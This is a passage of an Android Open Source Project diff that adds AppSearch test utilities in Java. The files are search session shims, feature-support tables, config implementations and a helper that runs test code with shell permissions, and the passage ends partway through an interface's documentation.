+ public int getCachedSamplingIntervalForGlobalSearchStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
+ public int getCachedSamplingIntervalForOptimizeStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
+ public int getMaxDocumentSizeBytes() {
+ throwIfClosed();
+ return DEFAULT_LIMIT_CONFIG_MAX_DOCUMENT_SIZE_BYTES;
+ }
+
+ @Override
+ public int getMaxDocumentCount() {
+ throwIfClosed();
+ return DEFAULT_LIMIT_CONFIG_MAX_DOCUMENT_COUNT;
+ }
+
+ @Override
+ public int getMaxSuggestionCount() {
+ throwIfClosed();
+ return DEFAULT_LIMIT_CONFIG_MAX_SUGGESTION_COUNT;
+ }
+
+ @Override
+ public int getCachedBytesOptimizeThreshold() {
+ throwIfClosed();
+ return DEFAULT_BYTES_OPTIMIZE_THRESHOLD;
+ }
+
+ @Override
+ public int getCachedTimeOptimizeThresholdMs() {
+ throwIfClosed();
+ return DEFAULT_TIME_OPTIMIZE_THRESHOLD_MILLIS;
+ }
+
+ @Override
+ public int getCachedDocCountOptimizeThreshold() {
+ throwIfClosed();
+ return DEFAULT_DOC_COUNT_OPTIMIZE_THRESHOLD;
+ }
+
+ @Override
+ public int getCachedMinTimeOptimizeThresholdMs() {
+ throwIfClosed();
+ return DEFAULT_MIN_TIME_OPTIMIZE_THRESHOLD_MILLIS;
+ }
+
+ @Override
+ public int getCachedApiCallStatsLimit() {
+ throwIfClosed();
+ return DEFAULT_API_CALL_STATS_LIMIT;
+ }
+
+ @Override
+ public Denylist getCachedDenylist() {
+ return Denylist.EMPTY_INSTANCE;
+ }
+
+ @Override
+ public int getMaxTokenLength() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_MAX_TOKEN_LENGTH;
+ }
+
+ @Override
+ public int getIndexMergeSize() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_INDEX_MERGE_SIZE;
+ }
+
+ @Override
+ public boolean getDocumentStoreNamespaceIdFingerprint() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_DOCUMENT_STORE_NAMESPACE_ID_FINGERPRINT;
+ }
+
+ @Override
+ public float getOptimizeRebuildIndexThreshold() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_OPTIMIZE_REBUILD_INDEX_THRESHOLD;
+ }
+
+ @Override
+ public int getCompressionLevel() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_COMPRESSION_LEVEL;
+ }
+
+ @Override
+ public boolean getAllowCircularSchemaDefinitions() {
+ throwIfClosed();
+ return Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE;
+ }
+
+ @Override
+ public boolean getUseReadOnlySearch() {
+ throwIfClosed();
+ return DEFAULT_ICING_CONFIG_USE_READ_ONLY_SEARCH;
+ }
+
+ @Override
+ public boolean getUsePreMappingWithFileBackedVector() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_USE_PREMAPPING_WITH_FILE_BACKED_VECTOR;
+ }
+
+ @Override
+ public boolean getUsePersistentHashMap() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_USE_PERSISTENT_HASH_MAP;
+ }
+
+ @Override
+ public int getMaxPageBytesLimit() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_MAX_PAGE_BYTES_LIMIT;
+ }
+
+ @Override
+ public boolean getCachedRateLimitEnabled() {
+ throwIfClosed();
+ return DEFAULT_RATE_LIMIT_ENABLED;
+ }
+
+ @Override
+ public AppSearchRateLimitConfig getCachedRateLimitConfig() {
+ throwIfClosed();
+ return DEFAULT_APPSEARCH_RATE_LIMIT_CONFIG;
+ }
+
+ @Override
+ public int getIntegerIndexBucketSplitThreshold() {
+ throwIfClosed();
+ return DEFAULT_INTEGER_INDEX_BUCKET_SPLIT_THRESHOLD;
+ }
+
+ @Override
+ public boolean getLiteIndexSortAtIndexing() {
+ throwIfClosed();
+ return DEFAULT_LITE_INDEX_SORT_AT_INDEXING;
+ }
+
+ @Override
+ public int getLiteIndexSortSize() {
+ throwIfClosed();
+ return DEFAULT_LITE_INDEX_SORT_SIZE;
+ }
+
+ @Override
+ public boolean shouldStoreParentInfoAsSyntheticProperty() {
+ throwIfClosed();
+ return true;
+ }
+
+ @Override
+ public boolean shouldRetrieveParentInfo() {
+ throwIfClosed();
+ return DEFAULT_SHOULD_RETRIEVE_PARENT_INFO;
+ }
+
+ private void throwIfClosed() {
+ if (mIsClosed.get()) {
+ throw new IllegalStateException(
+ "Trying to use a closed FrameworkAppSearchConfig instance.");
+ }
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/GlobalSearchSessionShimImpl.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/GlobalSearchSessionShimImpl.java
new file mode 100644
index 00000000000..1d8e37ecdb4
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/GlobalSearchSessionShimImpl.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.Features;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByDocumentIdRequest;
+import android.app.appsearch.GetSchemaResponse;
+import android.app.appsearch.GlobalSearchSession;
+import android.app.appsearch.GlobalSearchSessionShim;
+import android.app.appsearch.ReportSystemUsageRequest;
+import android.app.appsearch.SearchResults;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.app.appsearch.observer.ObserverCallback;
+import android.app.appsearch.observer.ObserverSpec;
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.SettableFuture;
+
+import java.util.Objects;
+import java.util.concurrent.Executor;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+/**
+ * This test class adapts the AppSearch Framework API to ListenableFuture, so it can be tested via a
+ * consistent interface.
+ *
+ * @hide
+ */
+public class GlobalSearchSessionShimImpl implements GlobalSearchSessionShim {
+ private final GlobalSearchSession mGlobalSearchSession;
+ private final ExecutorService mExecutor;
+
+ /**
+ * Creates a global search session.
+ */
+ @NonNull
+ public static ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSessionAsync() {
+ return createGlobalSearchSessionAsync(ApplicationProvider.getApplicationContext());
+ }
+
+ /** Only for use when called from a non-instrumented context. */
+ @NonNull
+ public static ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSessionAsync(
+ @NonNull Context context) {
+ AppSearchManager appSearchManager = context.getSystemService(AppSearchManager.class);
+ SettableFuture<AppSearchResult<GlobalSearchSession>> future = SettableFuture.create();
+ ExecutorService executor = Executors.newCachedThreadPool();
+ appSearchManager.createGlobalSearchSession(executor, future::set);
+ return Futures.transform(
+ future,
+ instance -> new GlobalSearchSessionShimImpl(instance.getResultValue(), executor),
+ executor);
+ }
+
+ private GlobalSearchSessionShimImpl(
+ @NonNull GlobalSearchSession session, @NonNull ExecutorService executor) {
+ mGlobalSearchSession = Objects.requireNonNull(session);
+ mExecutor = Objects.requireNonNull(executor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<AppSearchBatchResult<String, GenericDocument>> getByDocumentIdAsync(
+ @NonNull String packageName,
+ @NonNull String databaseName,
+ @NonNull GetByDocumentIdRequest request) {
+ SettableFuture<AppSearchBatchResult<String, GenericDocument>> future =
+ SettableFuture.create();
+ mGlobalSearchSession.getByDocumentId(
+ packageName, databaseName, request, mExecutor,
+ new BatchResultCallbackAdapter<>(future));
+ return future;
+ }
+
+ @NonNull
+ @Override
+ public SearchResultsShim search(
+ @NonNull String queryExpression, @NonNull SearchSpec searchSpec) {
+ SearchResults searchResults = mGlobalSearchSession.search(queryExpression, searchSpec);
+ return new SearchResultsShimImpl(searchResults, mExecutor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<Void> reportSystemUsageAsync(
+ @NonNull ReportSystemUsageRequest request) {
+ SettableFuture<AppSearchResult<Void>> future = SettableFuture.create();
+ mGlobalSearchSession.reportSystemUsage(request, mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<GetSchemaResponse> getSchemaAsync(
+ @NonNull String packageName, @NonNull String databaseName) {
+ SettableFuture<AppSearchResult<GetSchemaResponse>> future = SettableFuture.create();
+ mGlobalSearchSession.getSchema(packageName, databaseName, mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ public void registerObserverCallback(
+ @NonNull String targetPackageName,
+ @NonNull ObserverSpec spec,
+ @NonNull Executor executor,
+ @NonNull ObserverCallback observer) throws AppSearchException {
+ mGlobalSearchSession.registerObserverCallback(targetPackageName, spec, mExecutor, observer);
+ }
+
+ @Override
+ public void unregisterObserverCallback(
+ @NonNull String targetPackageName, @NonNull ObserverCallback observer)
+ throws AppSearchException {
+ mGlobalSearchSession.unregisterObserverCallback(targetPackageName, observer);
+ }
+
+ @NonNull
+ @Override
+ public Features getFeatures() {
+ return new MainlineFeaturesImpl();
+ }
+
+ @Override
+ public void close() {
+ mGlobalSearchSession.close();
+ }
+
+ private <T> ListenableFuture<T> transformResult(
+ @NonNull AppSearchResult<T> result) throws AppSearchException {
+ if (!result.isSuccess()) {
+ throw new AppSearchException(result.getResultCode(), result.getErrorMessage());
+ }
+ return Futures.immediateFuture(result.getResultValue());
+ }
+}
+
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/MainlineFeaturesImpl.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/MainlineFeaturesImpl.java
new file mode 100644
index 00000000000..a810d22df6c
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/MainlineFeaturesImpl.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.app.appsearch.Features;
+import android.content.Context;
+import android.os.Build;
+
+/**
+ * An implementation of {@link Features}. It returns true for most of the features, as all features
+ * should be ready in the AppSearch platform backend. However, some features are disabled manually
+ * because we have chosen to only land them after a specific Android version.
+ * @hide
+ */
+public class MainlineFeaturesImpl implements Features {
+
+ @Override
+ public boolean isFeatureSupported(@NonNull String feature) {
+ switch (feature) {
+ // Features supported on all devices to which we ship.
+ case Features.ADD_PERMISSIONS_AND_GET_VISIBILITY:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_GET_SCHEMA:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_GET_BY_ID:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK:
+ // fall through
+ case Features.SEARCH_RESULT_MATCH_INFO_SUBMATCH:
+ // fall through
+ case Features.JOIN_SPEC_AND_QUALIFIED_ID:
+ // fall through
+ case Features.LIST_FILTER_QUERY_LANGUAGE:
+ // fall through
+ case Features.NUMERIC_SEARCH:
+ // fall through
+ case Features.SEARCH_SPEC_ADVANCED_RANKING_EXPRESSION:
+ // fall through
+ case Features.SEARCH_SPEC_PROPERTY_WEIGHTS:
+ // fall through
+ case Features.SEARCH_SUGGESTION:
+ // fall through
+ case Features.TOKENIZER_TYPE_RFC822:
+ // fall through
+ case Features.VERBATIM_SEARCH:
+ // fall through
+ case Features.SEARCH_SPEC_GROUPING_TYPE_PER_SCHEMA:
+ // fall through
+ case Features.SCHEMA_SET_DELETION_PROPAGATION:
+ // fall through
+ case Features.SCHEMA_ADD_INDEXABLE_NESTED_PROPERTIES:
+ // fall through
+ case Features.SEARCH_SPEC_ADD_FILTER_PROPERTIES:
+ return true;
+
+ // Features which are supported on U+ devices only.
+ case Features.SET_SCHEMA_CIRCULAR_REFERENCES:
+ // fall through
+ case Features.SCHEMA_ADD_PARENT_TYPE:
+ return Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE;
+
+ default:
+ return false;
+ }
+ }
+
+ @Override
+ public int getMaxIndexedProperties(@NonNull Context context) {
+ return 64;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/SearchResultsShimImpl.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/SearchResultsShimImpl.java
new file mode 100644
index 00000000000..3d9069a1edb
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/SearchResultsShimImpl.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResults;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.exceptions.AppSearchException;
+
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.SettableFuture;
+
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.Executor;
+
+/**
+ * This test class adapts the AppSearch Framework API to ListenableFuture, so it can be tested via
+ * a consistent interface.
+ * @hide
+ */
+public class SearchResultsShimImpl implements SearchResultsShim {
+ private final Executor mExecutor;
+ private final SearchResults mSearchResults;
+
+ SearchResultsShimImpl(@NonNull SearchResults searchResults, @NonNull Executor executor) {
+ mExecutor = Objects.requireNonNull(executor);
+ mSearchResults = Objects.requireNonNull(searchResults);
+ }
+
+ /**
+ * Retrieves the next page of {@link SearchResult} objects.
+ */
+ @NonNull
+ public ListenableFuture<List<SearchResult>> getNextPageAsync() {
+ SettableFuture<AppSearchResult<List<SearchResult>>> future = SettableFuture.create();
+ mSearchResults.getNextPage(mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ public void close() {
+ mSearchResults.close();
+ }
+
+ private <T> ListenableFuture<T> transformResult(
+ @NonNull AppSearchResult<T> result) throws AppSearchException {
+ if (!result.isSuccess()) {
+ throw new AppSearchException(result.getResultCode(), result.getErrorMessage());
+ }
+ return Futures.immediateFuture(result.getResultValue());
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/SystemUtil.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/SystemUtil.java
new file mode 100644
index 00000000000..f9a077a40a8
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/SystemUtil.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+/**
+ * Class to hold utilities to run {@link Runnable} with shell permission identity.
+ *
+ * <p>This is basically same as {@link com.android.compatibility.common.util.SystemUtil}, but we
+ * have the same functionality here, so it can be used by AppSearch in g3 as well.
+ */
+public final class SystemUtil {
+ private SystemUtil() {}
+
+ /** Runs a {@link ThrowingRunnable} adopting a subset of Shell's permissions. */
+ public static void runWithShellPermissionIdentity(
+ @NonNull ThrowingRunnable runnable, String... permissions) {
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ runWithShellPermissionIdentity(automan, runnable, permissions);
+ }
+
+ /**
+ * Runs a {@link ThrowingRunnable} adopting Shell's permissions, where you can specify the
+ * uiAutomation used.
+ *
+ * @param automan UIAutomation to use.
+ * @param runnable The code to run with Shell's identity.
+ * @param permissions A subset of Shell's permissions.
+ * Passing {@code null} will use all available permissions.
+ */
+ public static void runWithShellPermissionIdentity(
+ @NonNull UiAutomation automan,
+ @NonNull ThrowingRunnable runnable,
+ String... permissions) {
+ automan.adoptShellPermissionIdentity(permissions);
+ try {
+ runnable.run();
+ } catch (Exception e) {
+ throw new RuntimeException("Caught exception", e);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/ThrowingRunnable.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/ThrowingRunnable.java
new file mode 100644
index 00000000000..03645384883
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/ThrowingRunnable.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+/** Similar to {@link Runnable} but has {@code throws Exception}. */
+public interface ThrowingRunnable {
+ /** Similar to {@link Runnable#run} but has {@code throws Exception}. */
+ void run() throws Exception;
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AlwaysSupportedFeatures.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AlwaysSupportedFeatures.java
new file mode 100644
index 00000000000..3bf34aa9ae6
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AlwaysSupportedFeatures.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.appsearch.external.localstorage;
+
+import android.annotation.NonNull;
+import android.app.appsearch.Features;
+import android.content.Context;
+
+/**
+ * An implementation of {@link Features}. This implementation always returns true. This is
+ * sufficient for the use in the local backend because all features are always available on the
+ * local backend.
+ *
+ * @hide
+ */
+public class AlwaysSupportedFeatures implements Features {
+
+ @Override
+ public boolean isFeatureSupported(@NonNull String feature) {
+ switch (feature) {
+ case Features.ADD_PERMISSIONS_AND_GET_VISIBILITY:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_GET_SCHEMA:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_GET_BY_ID:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK:
+ // fall through
+ case Features.JOIN_SPEC_AND_QUALIFIED_ID:
+ // fall through
+ case Features.NUMERIC_SEARCH:
+ // fall through
+ case Features.VERBATIM_SEARCH:
+ // fall through
+ case Features.LIST_FILTER_QUERY_LANGUAGE:
+ // fall through
+ case Features.SEARCH_SPEC_GROUPING_TYPE_PER_SCHEMA:
+ // fall through
+ case Features.SEARCH_RESULT_MATCH_INFO_SUBMATCH:
+ // fall through
+ case Features.SEARCH_SPEC_PROPERTY_WEIGHTS:
+ // fall through
+ case Features.TOKENIZER_TYPE_RFC822:
+ // fall through
+ case Features.SEARCH_SPEC_ADVANCED_RANKING_EXPRESSION:
+ // fall through
+ case Features.SEARCH_SUGGESTION:
+ // fall through
+ case Features.SCHEMA_SET_DELETION_PROPAGATION:
+ // fall through
+ case Features.SET_SCHEMA_CIRCULAR_REFERENCES:
+ // fall through
+ case Features.SCHEMA_ADD_PARENT_TYPE:
+ // fall through
+ case Features.SCHEMA_ADD_INDEXABLE_NESTED_PROPERTIES:
+ // fall through
+ case Features.SEARCH_SPEC_ADD_FILTER_PROPERTIES:
+ return true;
+ default:
+ return false;
+ }
+ }
+
+ @Override
+ public int getMaxIndexedProperties(@NonNull Context unused) {
+ return 64;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchConfigImpl.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchConfigImpl.java
new file mode 100644
index 00000000000..a0d316e895e
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchConfigImpl.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.appsearch.external.localstorage;
+
+import android.annotation.NonNull;
+
+/**
+ * An implementation of AppSearchConfig that returns configurations based what is specified in
+ * constructor.
+ */
+public class AppSearchConfigImpl implements AppSearchConfig {
+ private final LimitConfig mLimitConfig;
+ private final IcingOptionsConfig mIcingOptionsConfig;
+ private final boolean mStoreParentInfoAsSyntheticProperty;
+ private final boolean mShouldRetrieveParentInfo;
+
+ public AppSearchConfigImpl(
+ @NonNull LimitConfig limitConfig, @NonNull IcingOptionsConfig icingOptionsConfig) {
+ this(
+ limitConfig,
+ icingOptionsConfig,
+ /* storeParentInfoAsSyntheticProperty= */ false,
+ /* shouldRetrieveParentInfo= */ false);
+ }
+
+ public AppSearchConfigImpl(
+ @NonNull LimitConfig limitConfig,
+ @NonNull IcingOptionsConfig icingOptionsConfig,
+ boolean storeParentInfoAsSyntheticProperty,
+ boolean shouldRetrieveParentInfo) {
+ mLimitConfig = limitConfig;
+ mIcingOptionsConfig = icingOptionsConfig;
+ mStoreParentInfoAsSyntheticProperty = storeParentInfoAsSyntheticProperty;
+ mShouldRetrieveParentInfo = shouldRetrieveParentInfo;
+ }
+
+ @Override
+ public int getMaxTokenLength() {
+ return mIcingOptionsConfig.getMaxTokenLength();
+ }
+
+ @Override
+ public int getIndexMergeSize() {
+ return mIcingOptionsConfig.getIndexMergeSize();
+ }
+
+ @Override
+ public boolean getDocumentStoreNamespaceIdFingerprint() {
+ return mIcingOptionsConfig.getDocumentStoreNamespaceIdFingerprint();
+ }
+
+ @Override
+ public float getOptimizeRebuildIndexThreshold() {
+ return mIcingOptionsConfig.getOptimizeRebuildIndexThreshold();
+ }
+
+ @Override
+ public int getCompressionLevel() {
+ return mIcingOptionsConfig.getCompressionLevel();
+ }
+
+ @Override
+ public boolean getAllowCircularSchemaDefinitions() {
+ return mIcingOptionsConfig.getAllowCircularSchemaDefinitions();
+ }
+
+ @Override
+ public boolean getUseReadOnlySearch() {
+ return mIcingOptionsConfig.getUseReadOnlySearch();
+ }
+
+ @Override
+ public boolean getUsePreMappingWithFileBackedVector() {
+ return mIcingOptionsConfig.getUsePreMappingWithFileBackedVector();
+ }
+
+ @Override
+ public boolean getUsePersistentHashMap() {
+ return mIcingOptionsConfig.getUsePersistentHashMap();
+ }
+
+ @Override
+ public int getMaxPageBytesLimit() {
+ return mIcingOptionsConfig.getMaxPageBytesLimit();
+ }
+
+ @Override
+ public int getIntegerIndexBucketSplitThreshold() {
+ return mIcingOptionsConfig.getIntegerIndexBucketSplitThreshold();
+ }
+
+ @Override
+ public boolean getLiteIndexSortAtIndexing() {
+ return mIcingOptionsConfig.getLiteIndexSortAtIndexing();
+ }
+
+ @Override
+ public int getLiteIndexSortSize() {
+ return mIcingOptionsConfig.getLiteIndexSortSize();
+ }
+
+ @Override
+ public int getMaxDocumentSizeBytes() {
+ return mLimitConfig.getMaxDocumentSizeBytes();
+ }
+
+ @Override
+ public int getMaxDocumentCount() {
+ return mLimitConfig.getMaxDocumentCount();
+ }
+
+ @Override
+ public int getMaxSuggestionCount() {
+ return mLimitConfig.getMaxSuggestionCount();
+ }
+
+ @Override
+ public boolean shouldStoreParentInfoAsSyntheticProperty() {
+ return mStoreParentInfoAsSyntheticProperty;
+ }
+
+ @Override
+ public boolean shouldRetrieveParentInfo() {
+ return mShouldRetrieveParentInfo;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchSessionShim.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchSessionShim.java
new file mode 100644
index 00000000000..f65f54a578d
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchSessionShim.java
@@ -0,0 +1,395 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch;
+
+import android.annotation.NonNull;
+import android.annotation.SuppressLint;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import java.io.Closeable;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Provides a connection to a single AppSearch database.
+ *
+ * <p>An {@link AppSearchSessionShim} instance provides access to database operations such as
+ * setting a schema, adding documents, and searching.
+ *
+ * <p>Instances of this interface are usually obtained from a storage implementation, e.g. {@code
+ * AppSearchManager.createSearchSessionAsync()} or {@code
+ * PlatformStorage.createSearchSessionAsync()}.
+ *
+ * <p>All implementations of this interface must be thread safe.
+ *
+ * @see GlobalSearchSessionShim
+ */
+public interface AppSearchSessionShim extends Closeable {
+
+ /**
+ * Sets the schema that represents the organizational structure of data within the AppSearch
+ * database.
+ *
+ * <p>Upon creating an {@link AppSearchSessionShim}, {@link #setSchema} should be called. If the
+ * schema needs to be updated, or it has not been previously set, then the provided schema will
+ * be saved and persisted to disk. Otherwise, {@link #setSchema} is handled efficiently as a
+ * no-op call.
+ *
+ * @param request the schema to set or update the AppSearch database to.
+ * @return a {@link ListenableFuture} which resolves to a {@link SetSchemaResponse} object.
+ */
+ @NonNull
+ ListenableFuture<SetSchemaResponse> setSchemaAsync(@NonNull SetSchemaRequest request);
+
+ /**
+ * Retrieves the schema most recently successfully provided to {@link #setSchema}.
+ *
+ * @return The pending {@link GetSchemaResponse} of performing this operation.
+ */
+ // This call hits disk; async API prevents us from treating these calls as properties.
+ @SuppressLint("KotlinPropertyAccess")
+ @NonNull
+ ListenableFuture<GetSchemaResponse> getSchemaAsync();
+
+ /**
+ * Retrieves the set of all namespaces in the current database with at least one document.
+ *
+ * @return The pending result of performing this operation.
+ */
+ @NonNull
+ ListenableFuture<Set<String>> getNamespacesAsync();
+
+ /**
+ * Indexes documents into the {@link AppSearchSessionShim} database.
+ *
+ * <p>Each {@link GenericDocument} object must have a {@code schemaType} field set to an {@link
+ * AppSearchSchema} type that has been previously registered by calling the {@link #setSchema}
+ * method.
+ *
+ * @param request containing documents to be indexed.
+ * @return a {@link ListenableFuture} which resolves to an {@link AppSearchBatchResult}. The
+ * keys of the returned {@link AppSearchBatchResult} are the IDs of the input documents. The
+ * values are either {@code null} if the corresponding document was successfully indexed, or
+ * a failed {@link AppSearchResult} otherwise.
+ */
+ @NonNull
+ ListenableFuture<AppSearchBatchResult<String, Void>> putAsync(
+ @NonNull PutDocumentsRequest request);
+
+ /**
+ * Gets {@link GenericDocument} objects by document IDs in a namespace from the {@link
+ * AppSearchSessionShim} database.
+ *
+ * @param request a request containing a namespace and IDs to get documents for.
+ * @return A {@link ListenableFuture} which resolves to an {@link AppSearchBatchResult}. The
